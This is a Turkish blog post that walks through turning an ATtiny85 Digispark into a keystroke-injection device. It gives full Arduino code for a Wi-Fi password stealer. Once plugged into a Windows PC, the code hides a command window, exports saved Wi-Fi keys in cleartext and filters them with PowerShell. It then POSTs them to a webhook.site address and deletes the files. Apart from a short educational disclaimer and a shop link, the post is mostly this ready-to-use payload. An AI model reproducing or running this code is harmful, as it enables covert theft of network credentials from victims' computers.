top of page
Yazarın fotoğrafıKaan Alasar

ATtiny85 ile 20 Saniyede WiFi Şifresi Hackleme




Bu yazıda, ATtiny85 mikrodenetleyicisi kullanarak bir Rubber Ducky cihazı oluşturacağız.


ATtiny85'i bilgisayarımıza bir klavye olarak tanıtarak, bazı komut betiklerini çalıştıracağız. Bu anlatımlar eğitim amaçlıdır ve bu tür tehlikelerden korunmak için bu yazıdan faydalı bilgiler çıkarabilirsiniz. Özellikle, ATtiny85'in doğrudan USB üzerinden bağlanması işlemlerinizi kolaylaştıracaktır.

Kurulum:ATtiny85'i kullanabilmek için öncelikle Arduino IDE'ye ATtiny kütüphanelerini ve gerekli sürücüleri kurmalısınız. ATtiny85 için oluşturulmuş birçok kötü amaçlı payload kodu bulunmaktadır ve bu payload'ları bilmek, bu tür tehlikelerden korunmak için faydalı olabilir. Bu yazıda, MTK911 adlı GitHub kullanıcısı tarafından oluşturulan Wi-Fi şifre hırsızı payload'ını kullanacağız.


KODLAR AŞAĞIDA VERİLMİŞTİR.

AYRICA CİHAZA ve EĞİTİMİNE SAHİP OLMAK İSTERSENİZ: https://www.shopsgexe.com/product-page/digispark-attiny85 buradan bilgi alabilirsiniz.

 
#include "DigiKeyboard.h"
#define KEY_DOWN 0x51 // Aşağı Ok Tuşu
#define KEY_ENTER 0x28 // Enter Tuşu
void setup() {
  pinMode(1, OUTPUT); // Model A'da LED
}
void loop() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);
 
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Çalıştır
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); // Küçük cmd penceresi
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); // Menü  
  DigiKeyboard.sendKeyStroke(KEY_M); // Taşıma Modu
  for(int i = 0; i < 100; i++) {
    DigiKeyboard.sendKeyStroke(KEY_DOWN);
  }
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Kaydırmadan Çık
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cd %temp%"); // Geçici Dizin
  DigiKeyboard.delay(500);
  DigiKeyboard.println("netsh wlan export profile key=clear"); // WiFi şifrelerini çek
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); // Şifreleri ayıkla
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/<WEBHOOK-ADRESİNİZ> -Method POST -InFile Wi-Fi-PASS"); // Şifreleri gönder
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("del Wi-* /s /f /q"); // Dosyaları sil
  DigiKeyboard.delay(100);
  DigiKeyboard.println("exit");
  DigiKeyboard.delay(100);
  
  digitalWrite(1, HIGH); // LED'i yak
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW); 
  DigiKeyboard.delay(5000);
  } 

 

Açıklama:Bu kod, ATtiny85'i bilgisayara bir klavye girdisi olarak tanıtarak çalışır. Bu nedenle, antivirüs yazılımları bu tür bir saldırıya karşı hazırlıklı değilse, veri ihlali riski oluşabilir. Klavye girdisi olarak tanınan ATtiny85, Powershell komut satırını açarak Wi-Fi şifrelerini çeker ve webhook.site üzerinden bu verileri iletir.


Depolama Seçenekleri:Wi-Fi verilerini ATtiny85'in EEPROM'una ya da harici bir EEPROM entegresine veya SD Kart modülüne kaydedebilirsiniz. Ancak, burada bu saldırının ne kadar hızlı ve etkili olduğunu görmek için webhook kullanımını tercih edebilirsiniz.


Örnek Webhook URL: Her bağlantıda size farklı bir unique URL sağlayan webhook.site, programın ilgili kısmına girilecek URL ile takip edilebilir.


Bu yazıdaki bilgileri kötü amaçlı kullanmak yasadışıdır ve etik dışıdır. Lütfen yalnızca eğitim amacıyla ve güvenlik testi amacıyla kullanın.

2.450 görüntüleme0 yorum

Son Yazılar

Hepsini Gör

Comentarios


bottom of page